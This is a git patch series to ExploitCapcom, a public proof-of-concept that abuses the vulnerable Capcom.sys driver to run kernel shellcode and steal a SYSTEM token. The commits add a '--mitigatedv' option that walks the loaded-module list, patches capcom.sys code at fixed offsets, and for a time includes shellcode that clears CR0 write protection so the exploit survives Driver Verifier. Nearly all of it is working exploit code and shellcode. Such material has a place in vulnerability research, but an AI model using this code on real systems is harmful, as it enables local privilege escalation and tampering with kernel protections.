From 75c37230bf7494f04faf34d0e5e3c45c40ddcde9 Mon Sep 17 00:00:00 2001 From: kento <37926134+kkent030315@users.noreply.github.com> Date: Sun, 6 Jun 2021 20:22:51 +0900 Subject: [PATCH 1/9] implement mitigation for Driver Verifier --- ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp | 112 +++++++++++++++++- 1 file changed, 111 insertions(+), 1 deletion(-) diff --git a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp index fbef855..81724f4 100644 --- a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp +++ b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp @@ -39,6 +39,20 @@ using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI *)( using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI *)( _In_ PUNICODE_STRING SystemRoutineName); +using RTLEQUALUNICODESTRING = BOOLEAN(NTAPI *)( + PCUNICODE_STRING String1, + PCUNICODE_STRING String2, + BOOLEAN CaseInSensitive); + +using RTLINITUNICODESTRING = VOID(NTAPI *)( + PUNICODE_STRING DestinationString, + __drv_aliasesMem PCWSTR SourceString); + +using RTLCOPYMEMORY = VOID(NTAPI *)( + void* Destination, + const void* Source, + size_t Length); + // Represents shellcode to be executed #include typedef struct _SHELLCODE @@ -57,6 +71,25 @@ typedef struct _IOCTL_IN_BUFFER SHELLCODE Shellcode; } IOCTL_IN_BUFFER, *PIOCTL_IN_BUFFER; +// winternal.h does not have complete members +typedef struct _LDR_DATA_TABLE_ENTRY_EX { + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + LIST_ENTRY HashLinks; + PVOID SectionPointer; + ULONG CheckSum; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY_EX, * PLDR_DATA_TABLE_ENTRY_EX; + //////////////////////////////////////////////////////////////////////////////// // // prototypes @@ -81,14 +114,18 @@ static bool LaunchShell(); // Indicates whether token stealing is done successfully static BOOLEAN gIsTokenStealingSuccessful = FALSE; +static BOOLEAN gIsDvMitigationEnabled = FALSE; //////////////////////////////////////////////////////////////////////////////// // // implementations // -int main() +int main(int argc, const char* argv[]) { + if (argc > 1 && strcmp(argv[1], "--mitigatedv") == 0) + gIsDvMitigationEnabled = TRUE; + ExploitCapcomDriver(); return 0; } @@ -107,6 +144,11 @@ static bool ExploitCapcomDriver() std::cout << std::hex; std::cout << "[*] Capcom.sys exploit" << std::endl; + if (gIsDvMitigationEnabled == TRUE) + { + std::cout << "[*] DV mitigation is enabled" << std::endl; + } + // Open the device created by Capcom.sys auto DeviceHandle = make_unique_ex( CreateFile(TEXT("\\\\.\\Htsysm72FB"), GENERIC_READ | GENERIC_WRITE, @@ -224,6 +266,74 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress) *reinterpret_cast(GetSystemRoutineAddress( MmGetSystemRoutineAddress, L"PsInitialSystemProcess")); + if (gIsDvMitigationEnabled) + { + auto RtlEqualUnicodeString = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"RtlEqualUnicodeString")); + + auto RtlInitUnicodeString = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"RtlInitUnicodeString")); + + auto NtosRtlCopyMemory = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"RtlCopyMemory") ); + + auto PsLoadedModuleList = + *reinterpret_cast( + GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"PsLoadedModuleList")); + + if (PsLoadedModuleList) + { + UNICODE_STRING capcomNameUs; + RtlInitUnicodeString(&capcomNameUs, L"capcom.sys"); + + PLIST_ENTRY ListEntry = (PLIST_ENTRY)PsLoadedModuleList; + + for (PLIST_ENTRY Entry = ListEntry; + Entry != ListEntry->Blink; + Entry = Entry->Flink) + { + PLDR_DATA_TABLE_ENTRY_EX LdrEntry = + CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY_EX, InLoadOrderModuleList); + + if (RtlEqualUnicodeString(&capcomNameUs, &LdrEntry->BaseDllName, TRUE) == TRUE) + { + if (LdrEntry->DllBase) + { + BYTE shell1[] = { + 0x33, 0xC0, // xor edx, edx (STATUS_SUCCESS) + 0x48, 0x83, 0xC4, 0x20, // add rsp, 20h + 0x5F, // pop rdi + 0x5E, // pop rsi + 0x5B, // pop rbx + 0xC3 // ret + }; + + BYTE shell2[] = { + 0x33, 0xC0, // xor edx, edx (STATUS_SUCCESS) + 0x48, 0x83, 0xC4, 0x20, // add rsp, 20h + 0x5B, // pop rbx + 0xC3 // ret + }; + + NtosRtlCopyMemory( + (void*)((UINT_PTR)LdrEntry->DllBase + 0x631), + &shell1, + sizeof(shell1)); + + NtosRtlCopyMemory( + (void*)((UINT_PTR)LdrEntry->DllBase + 0x518), + &shell2, + sizeof(shell2)); + } + } + } + } + } + // Get the process object of the current process PEPROCESS CurrentProcess = nullptr; NTSTATUS Status = PsLookupProcessByProcessId(PsGetCurrentProcessId(), From 61aacbbd85ec0ba8276b9eae8ccaac9d3af31ae2 Mon Sep 17 00:00:00 2001 From: kento <37926134+kkent030315@users.noreply.github.com> Date: Sun, 6 Jun 2021 21:14:14 +0900 Subject: [PATCH 2/9] fit coding style and `gIsDvMitigationEnabled` is `BOOLEAN` --- ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp index 81724f4..50c512f 100644 --- a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp +++ b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp @@ -40,18 +40,18 @@ using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI *)( _In_ PUNICODE_STRING SystemRoutineName); using RTLEQUALUNICODESTRING = BOOLEAN(NTAPI *)( - PCUNICODE_STRING String1, - PCUNICODE_STRING String2, - BOOLEAN CaseInSensitive); + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive); using RTLINITUNICODESTRING = VOID(NTAPI *)( - PUNICODE_STRING DestinationString, - __drv_aliasesMem PCWSTR SourceString); + _Inout_ PUNICODE_STRING DestinationString, + _In_ PCWSTR SourceString); using RTLCOPYMEMORY = VOID(NTAPI *)( - void* Destination, - const void* Source, - size_t Length); + _In_ void* Destination, + _In_ const void* Source, + _In_ size_t Length); // Represents shellcode to be executed #include @@ -266,7 +266,7 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress) *reinterpret_cast(GetSystemRoutineAddress( MmGetSystemRoutineAddress, L"PsInitialSystemProcess")); - if (gIsDvMitigationEnabled) + if (gIsDvMitigationEnabled == TRUE) { auto RtlEqualUnicodeString = reinterpret_cast(GetSystemRoutineAddress( From d6b1dd0a34a7dda72f86ff414415e764c6440432 Mon Sep 17 00:00:00 2001 From: kento <37926134+kkent030315@users.noreply.github.com> Date: Mon, 7 Jun 2021 10:57:02 +0900 Subject: [PATCH 3/9] implement mutex and simplier shellcode --- ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp | 80 +++++++++++++------ 1 file changed, 54 insertions(+), 26 deletions(-) diff --git a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp index 50c512f..620076f 100644 --- a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp +++ b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp @@ -53,6 +53,18 @@ using RTLCOPYMEMORY = VOID(NTAPI *)( _In_ const void* Source, _In_ size_t Length); +using KEENTERCRITICALREGION = VOID(NTAPI *)(); +using KELEAVECRITICALREGION = VOID(NTAPI *)(); + +// Huge structure. only use it as pointer +using PERESOURCE = PVOID; + +using EXACQUIRERESOURCEEXCLUSIVELITE = BOOLEAN(NTAPI *)( + PERESOURCE Resource, BOOLEAN Wait); + +using EXRELEASERESOURCELITE = VOID(NTAPI *)( + PERESOURCE Resource); + // Represents shellcode to be executed #include typedef struct _SHELLCODE @@ -114,6 +126,8 @@ static bool LaunchShell(); // Indicates whether token stealing is done successfully static BOOLEAN gIsTokenStealingSuccessful = FALSE; + +// Indicates mitigation for driver verifier static BOOLEAN gIsDvMitigationEnabled = FALSE; //////////////////////////////////////////////////////////////////////////////// @@ -268,6 +282,22 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress) if (gIsDvMitigationEnabled == TRUE) { + auto KeEnterCriticalRegion = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"KeEnterCriticalRegion")); + + auto KeLeaveCriticalRegion = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"KeLeaveCriticalRegion")); + + auto ExAcquireResourceExclusiveLite = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"ExAcquireResourceExclusiveLite")); + + auto ExReleaseResourceLite = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"ExReleaseResourceLite")); + auto RtlEqualUnicodeString = reinterpret_cast(GetSystemRoutineAddress( MmGetSystemRoutineAddress, L"RtlEqualUnicodeString")); @@ -281,56 +311,54 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress) MmGetSystemRoutineAddress, L"RtlCopyMemory") ); auto PsLoadedModuleList = - *reinterpret_cast( - GetSystemRoutineAddress( + *reinterpret_cast(GetSystemRoutineAddress( MmGetSystemRoutineAddress, L"PsLoadedModuleList")); + + auto PsLoadedModuleResource = + *reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"PsLoadedModuleResource")); if (PsLoadedModuleList) { - UNICODE_STRING capcomNameUs; - RtlInitUnicodeString(&capcomNameUs, L"capcom.sys"); + // Disable normal kernel APCs + KeEnterCriticalRegion(); + // Acquire resource + ExAcquireResourceExclusiveLite(PsLoadedModuleResource, TRUE); - PLIST_ENTRY ListEntry = (PLIST_ENTRY)PsLoadedModuleList; + UNICODE_STRING CapcomNameUs; + RtlInitUnicodeString(&CapcomNameUs, L"capcom.sys"); - for (PLIST_ENTRY Entry = ListEntry; - Entry != ListEntry->Blink; + for (PLIST_ENTRY Entry = PsLoadedModuleList; + Entry != PsLoadedModuleList->Blink; Entry = Entry->Flink) { PLDR_DATA_TABLE_ENTRY_EX LdrEntry = CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY_EX, InLoadOrderModuleList); - if (RtlEqualUnicodeString(&capcomNameUs, &LdrEntry->BaseDllName, TRUE) == TRUE) + if (RtlEqualUnicodeString(&CapcomNameUs, &LdrEntry->BaseDllName, TRUE) == TRUE) { if (LdrEntry->DllBase) { - BYTE shell1[] = { - 0x33, 0xC0, // xor edx, edx (STATUS_SUCCESS) - 0x48, 0x83, 0xC4, 0x20, // add rsp, 20h - 0x5F, // pop rdi - 0x5E, // pop rsi - 0x5B, // pop rbx - 0xC3 // ret - }; - - BYTE shell2[] = { - 0x33, 0xC0, // xor edx, edx (STATUS_SUCCESS) - 0x48, 0x83, 0xC4, 0x20, // add rsp, 20h - 0x5B, // pop rbx - 0xC3 // ret + BYTE PatchShellcode[] = { + 0x33, 0xC0, // xor edx, edx + 0x90 // nop }; NtosRtlCopyMemory( (void*)((UINT_PTR)LdrEntry->DllBase + 0x631), - &shell1, - sizeof(shell1)); + &PatchShellcode, + sizeof(PatchShellcode)); NtosRtlCopyMemory( (void*)((UINT_PTR)LdrEntry->DllBase + 0x518), - &shell2, - sizeof(shell2)); + &PatchShellcode, + sizeof(PatchShellcode)); } } } + + ExReleaseResourceLite(PsLoadedModuleResource); + KeLeaveCriticalRegion(); } } From a211a56db93a3c20412564a1784ffd90c2cbef14 Mon Sep 17 00:00:00 2001 From: kento <37926134+kkent030315@users.noreply.github.com> Date: Mon, 7 Jun 2021 11:17:10 +0900 Subject: [PATCH 4/9] update `README.md` for PR #4 --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index e109b79..e77dd4f 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,9 @@ ExploitCapcom ❗❗Obsolete❗❗ ------------- -This exploit no longer works since Windows 10 20H2 (Build 19042), and the author will not provide a fix or workaround for it. See [issue #3](https://github.com/tandasat/ExploitCapcom/issues/3) for more details. +This exploit no longer works since Windows 10 20H2 (Build 19042) while DV (*Driver Verifier*) is enabled. See [issue #3](https://github.com/tandasat/ExploitCapcom/issues/3) and [PR #4](https://github.com/tandasat/ExploitCapcom/pull/4) for more details. + +In order to avoid DV crash, use `--mitigatedv` parameter. e.g, `ExploitCapcom.exe --mitigatedv`. Description From 384be50eb78a43142009c5c6e631a075f1cd302b Mon Sep 17 00:00:00 2001 From: kento <37926134+kkent030315@users.noreply.github.com> Date: Wed, 9 Jun 2021 15:20:25 +0900 Subject: [PATCH 5/9] refactor for the change request --- ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp | 172 ++++++++++++------ 1 file changed, 112 insertions(+), 60 deletions(-) diff --git a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp index 620076f..4f139a1 100644 --- a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp +++ b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp @@ -22,48 +22,50 @@ // typedef void *PEPROCESS; +typedef void *PERESOURCE; + +typedef enum _POOL_TYPE +{ + NonPagedPool, + NonPagedPoolExecute = NonPagedPool, +} POOL_TYPE; using PSGETCURRENTPROCESSID = HANDLE(NTAPI*)(); -using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI *)(_In_ HANDLE ProcessId, +using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI*)(_In_ HANDLE ProcessId, _Out_ PEPROCESS * Process); -using OBDEREFERENCEOBJECT = VOID(NTAPI *)(_In_ PVOID Object); +using OBDEREFERENCEOBJECT = VOID(NTAPI*)(_In_ PVOID Object); -using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI *)( +using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI*)( _Inout_ PEPROCESS Process); -using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI *)( +using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI*)( _In_ PACCESS_TOKEN PrimaryToken); -using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI *)( +using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI*)( _In_ PUNICODE_STRING SystemRoutineName); -using RTLEQUALUNICODESTRING = BOOLEAN(NTAPI *)( +using RTLEQUALUNICODESTRING = BOOLEAN(NTAPI*)( _In_ PCUNICODE_STRING String1, _In_ PCUNICODE_STRING String2, _In_ BOOLEAN CaseInSensitive); -using RTLINITUNICODESTRING = VOID(NTAPI *)( +using RTLINITUNICODESTRING = VOID(NTAPI*)( _Inout_ PUNICODE_STRING DestinationString, _In_ PCWSTR SourceString); -using RTLCOPYMEMORY = VOID(NTAPI *)( - _In_ void* Destination, - _In_ const void* Source, - _In_ size_t Length); - -using KEENTERCRITICALREGION = VOID(NTAPI *)(); -using KELEAVECRITICALREGION = VOID(NTAPI *)(); +using EXENTERCRITICALREGIONANDACQUIRERESOURCEEXCLUSIVE = PVOID(NTAPI*)( + _In_ PERESOURCE Resource); -// Huge structure. only use it as pointer -using PERESOURCE = PVOID; +using EXRELEASERESOURCEANDLEAVECRITICALREGION = VOID(NTAPI*)( + _In_ PERESOURCE Resource); -using EXACQUIRERESOURCEEXCLUSIVELITE = BOOLEAN(NTAPI *)( - PERESOURCE Resource, BOOLEAN Wait); +using EXALLOCATEPOOL = PVOID(NTAPI*)( + _In_ POOL_TYPE PoolType, _In_ SIZE_T NumberOfBytes); -using EXRELEASERESOURCELITE = VOID(NTAPI *)( - PERESOURCE Resource); +using EXFREEPOOL = VOID(NTAPI*)( + _In_ PVOID P); // Represents shellcode to be executed #include @@ -84,7 +86,8 @@ typedef struct _IOCTL_IN_BUFFER } IOCTL_IN_BUFFER, *PIOCTL_IN_BUFFER; // winternal.h does not have complete members -typedef struct _LDR_DATA_TABLE_ENTRY_EX { +typedef struct _LDR_DATA_TABLE_ENTRY_EX +{ LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; @@ -138,7 +141,9 @@ static BOOLEAN gIsDvMitigationEnabled = FALSE; int main(int argc, const char* argv[]) { if (argc > 1 && strcmp(argv[1], "--mitigatedv") == 0) + { gIsDvMitigationEnabled = TRUE; + } ExploitCapcomDriver(); return 0; @@ -282,22 +287,6 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress) if (gIsDvMitigationEnabled == TRUE) { - auto KeEnterCriticalRegion = - reinterpret_cast(GetSystemRoutineAddress( - MmGetSystemRoutineAddress, L"KeEnterCriticalRegion")); - - auto KeLeaveCriticalRegion = - reinterpret_cast(GetSystemRoutineAddress( - MmGetSystemRoutineAddress, L"KeLeaveCriticalRegion")); - - auto ExAcquireResourceExclusiveLite = - reinterpret_cast(GetSystemRoutineAddress( - MmGetSystemRoutineAddress, L"ExAcquireResourceExclusiveLite")); - - auto ExReleaseResourceLite = - reinterpret_cast(GetSystemRoutineAddress( - MmGetSystemRoutineAddress, L"ExReleaseResourceLite")); - auto RtlEqualUnicodeString = reinterpret_cast(GetSystemRoutineAddress( MmGetSystemRoutineAddress, L"RtlEqualUnicodeString")); @@ -306,25 +295,35 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress) reinterpret_cast(GetSystemRoutineAddress( MmGetSystemRoutineAddress, L"RtlInitUnicodeString")); - auto NtosRtlCopyMemory = - reinterpret_cast(GetSystemRoutineAddress( - MmGetSystemRoutineAddress, L"RtlCopyMemory") ); + auto ExAllocatePool = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"ExAllocatePool")); + + auto ExFreePool = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"ExFreePool")); auto PsLoadedModuleList = *reinterpret_cast(GetSystemRoutineAddress( - MmGetSystemRoutineAddress, L"PsLoadedModuleList")); + MmGetSystemRoutineAddress, L"PsLoadedModuleList")); auto PsLoadedModuleResource = *reinterpret_cast(GetSystemRoutineAddress( - MmGetSystemRoutineAddress, L"PsLoadedModuleResource")); - - if (PsLoadedModuleList) - { - // Disable normal kernel APCs - KeEnterCriticalRegion(); - // Acquire resource - ExAcquireResourceExclusiveLite(PsLoadedModuleResource, TRUE); + MmGetSystemRoutineAddress, L"PsLoadedModuleResource")); + + auto ExEnterCriticalRegionAndAcquireResourceExclusive = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"ExEnterCriticalRegionAndAcquireResourceExclusive")); + + auto ExReleaseResourceAndLeaveCriticalRegion = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"ExReleaseResourceAndLeaveCriticalRegion")); + // Disable normal kernel APCs and acquire resource + ExEnterCriticalRegionAndAcquireResourceExclusive(PsLoadedModuleResource); + + // Critical region starts herewith below + { UNICODE_STRING CapcomNameUs; RtlInitUnicodeString(&CapcomNameUs, L"capcom.sys"); @@ -332,34 +331,87 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress) Entry != PsLoadedModuleList->Blink; Entry = Entry->Flink) { - PLDR_DATA_TABLE_ENTRY_EX LdrEntry = + PLDR_DATA_TABLE_ENTRY_EX LdrEntry = CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY_EX, InLoadOrderModuleList); if (RtlEqualUnicodeString(&CapcomNameUs, &LdrEntry->BaseDllName, TRUE) == TRUE) { - if (LdrEntry->DllBase) + BYTE PatchShellcode[] = { + 0x33, 0xC0, // xor edx, edx + 0x90 // nop + }; + + // This shellcode temporally disable CR0.WP + BYTE Cr0DisableWpShellcode[] = { + 0x0F, 0x20, 0xC0, // mov rax, cr0 + 0x48, 0x0F, 0xBA, 0xF0, 0x10, // btr rax,0x10 + 0x0F, 0x22, 0xC0, // mov cr0,rax + 0xFA, // cli + 0xC3 // ret + }; + + // This shellcode enable CR0.WP again + BYTE Cr0EnableWpShellcode[] = { + 0x0F, 0x20, 0xC0, // mov rax, cr0 + 0xFB, // sti + 0x48, 0x0F, 0xBA, 0xE8, 0x10, // bts rax, 0x10 + 0x0F, 0x22, 0xC0, // mov cr0, rax + 0xC3 // ret + }; + + // Allocate pool for CR0.WP modification shellcodes + PVOID ExecutablePool = ExAllocatePool( + NonPagedPoolExecute, sizeof(Cr0DisableWpShellcode)); + + // + // Size of allocation assumes both disable and enable + // shellcode sizes are equal + // + static_assert( + sizeof(Cr0DisableWpShellcode) == sizeof(Cr0EnableWpShellcode), + "must be equal, if not, please allocate bigger one"); + + if (ExecutablePool) { - BYTE PatchShellcode[] = { - 0x33, 0xC0, // xor edx, edx - 0x90 // nop - }; + // Copy Cr0DisableWpShellcode to the pool + memcpy( + ExecutablePool, + &Cr0DisableWpShellcode, + sizeof( Cr0DisableWpShellcode)); + + // Call Cr0DisableWpShellcode to disable CR0.WP + reinterpret_cast(ExecutablePool); - NtosRtlCopyMemory( + // Patch for IRP_MJ_DEVICE_CONTROL + memcpy( (void*)((UINT_PTR)LdrEntry->DllBase + 0x631), &PatchShellcode, sizeof(PatchShellcode)); - NtosRtlCopyMemory( + // Patch for IRP_MJ_CREATE and IRP_MJ_CLOSE + memcpy( (void*)((UINT_PTR)LdrEntry->DllBase + 0x518), &PatchShellcode, sizeof(PatchShellcode)); + + // Copy Cr0EnableWpShellcode to the pool + memcpy( + ExecutablePool, + &Cr0EnableWpShellcode, + sizeof(Cr0EnableWpShellcode)); + + // Call Cr0EnableWpShellcode to re-enable CR0.WP + reinterpret_cast(ExecutablePool); + + ExFreePool(ExecutablePool); + break; } } } - - ExReleaseResourceLite(PsLoadedModuleResource); - KeLeaveCriticalRegion(); } + // Critical region ends + + ExReleaseResourceAndLeaveCriticalRegion(PsLoadedModuleResource); } // Get the process object of the current process From 9513abb0c17e3275539f0743b3710b948899ef05 Mon Sep 17 00:00:00 2001 From: kento <37926134+kkent030315@users.noreply.github.com> Date: Wed, 9 Jun 2021 15:30:09 +0900 Subject: [PATCH 6/9] modify comment --- ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp index 4f139a1..29c18da 100644 --- a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp +++ b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp @@ -344,8 +344,8 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress) // This shellcode temporally disable CR0.WP BYTE Cr0DisableWpShellcode[] = { 0x0F, 0x20, 0xC0, // mov rax, cr0 - 0x48, 0x0F, 0xBA, 0xF0, 0x10, // btr rax,0x10 - 0x0F, 0x22, 0xC0, // mov cr0,rax + 0x48, 0x0F, 0xBA, 0xF0, 0x10, // btr rax, 0x10 + 0x0F, 0x22, 0xC0, // mov cr0, rax 0xFA, // cli 0xC3 // ret }; From 82cc1b650b2bb6562d188df2a8197f8b9a087b22 Mon Sep 17 00:00:00 2001 From: kento <37926134+kkent030315@users.noreply.github.com> Date: Wed, 9 Jun 2021 15:43:19 +0900 Subject: [PATCH 7/9] remove space --- ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp index 29c18da..326b59d 100644 --- a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp +++ b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp @@ -377,7 +377,7 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress) memcpy( ExecutablePool, &Cr0DisableWpShellcode, - sizeof( Cr0DisableWpShellcode)); + sizeof(Cr0DisableWpShellcode)); // Call Cr0DisableWpShellcode to disable CR0.WP reinterpret_cast(ExecutablePool); From 72ec522a780c57b27d1f0e2216bbb787616a532f Mon Sep 17 00:00:00 2001 From: kento <37926134+kkent030315@users.noreply.github.com> Date: Wed, 9 Jun 2021 16:02:36 +0900 Subject: [PATCH 8/9] fix `ExecutablePool` was not actually called --- ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp index 326b59d..7e8c7cf 100644 --- a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp +++ b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp @@ -380,7 +380,7 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress) sizeof(Cr0DisableWpShellcode)); // Call Cr0DisableWpShellcode to disable CR0.WP - reinterpret_cast(ExecutablePool); + reinterpret_cast(ExecutablePool)(); // Patch for IRP_MJ_DEVICE_CONTROL memcpy( @@ -401,7 +401,7 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress) sizeof(Cr0EnableWpShellcode)); // Call Cr0EnableWpShellcode to re-enable CR0.WP - reinterpret_cast(ExecutablePool); + reinterpret_cast(ExecutablePool)(); ExFreePool(ExecutablePool); break; From 4487aea557413cb39e7d84e3a5a90c6395a4cf79 Mon Sep 17 00:00:00 2001 From: kento <37926134+kkent030315@users.noreply.github.com> Date: Thu, 10 Jun 2021 19:03:41 +0900 Subject: [PATCH 9/9] remove `CR0.WP` modification --- ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp | 80 ++++--------------- 1 file changed, 14 insertions(+), 66 deletions(-) diff --git a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp index 7e8c7cf..efb0759 100644 --- a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp +++ b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp @@ -340,72 +340,20 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress) 0x33, 0xC0, // xor edx, edx 0x90 // nop }; - - // This shellcode temporally disable CR0.WP - BYTE Cr0DisableWpShellcode[] = { - 0x0F, 0x20, 0xC0, // mov rax, cr0 - 0x48, 0x0F, 0xBA, 0xF0, 0x10, // btr rax, 0x10 - 0x0F, 0x22, 0xC0, // mov cr0, rax - 0xFA, // cli - 0xC3 // ret - }; - - // This shellcode enable CR0.WP again - BYTE Cr0EnableWpShellcode[] = { - 0x0F, 0x20, 0xC0, // mov rax, cr0 - 0xFB, // sti - 0x48, 0x0F, 0xBA, 0xE8, 0x10, // bts rax, 0x10 - 0x0F, 0x22, 0xC0, // mov cr0, rax - 0xC3 // ret - }; - - // Allocate pool for CR0.WP modification shellcodes - PVOID ExecutablePool = ExAllocatePool( - NonPagedPoolExecute, sizeof(Cr0DisableWpShellcode)); - - // - // Size of allocation assumes both disable and enable - // shellcode sizes are equal - // - static_assert( - sizeof(Cr0DisableWpShellcode) == sizeof(Cr0EnableWpShellcode), - "must be equal, if not, please allocate bigger one"); - - if (ExecutablePool) - { - // Copy Cr0DisableWpShellcode to the pool - memcpy( - ExecutablePool, - &Cr0DisableWpShellcode, - sizeof(Cr0DisableWpShellcode)); - - // Call Cr0DisableWpShellcode to disable CR0.WP - reinterpret_cast(ExecutablePool)(); - - // Patch for IRP_MJ_DEVICE_CONTROL - memcpy( - (void*)((UINT_PTR)LdrEntry->DllBase + 0x631), - &PatchShellcode, - sizeof(PatchShellcode)); - - // Patch for IRP_MJ_CREATE and IRP_MJ_CLOSE - memcpy( - (void*)((UINT_PTR)LdrEntry->DllBase + 0x518), - &PatchShellcode, - sizeof(PatchShellcode)); - - // Copy Cr0EnableWpShellcode to the pool - memcpy( - ExecutablePool, - &Cr0EnableWpShellcode, - sizeof(Cr0EnableWpShellcode)); - - // Call Cr0EnableWpShellcode to re-enable CR0.WP - reinterpret_cast(ExecutablePool)(); - - ExFreePool(ExecutablePool); - break; - } + + // Patch for IRP_MJ_DEVICE_CONTROL + memcpy( + (void*)((UINT_PTR)LdrEntry->DllBase + 0x631), + &PatchShellcode, + sizeof(PatchShellcode)); + + // Patch for IRP_MJ_CREATE and IRP_MJ_CLOSE + memcpy( + (void*)((UINT_PTR)LdrEntry->DllBase + 0x518), + &PatchShellcode, + sizeof(PatchShellcode)); + + break; } } }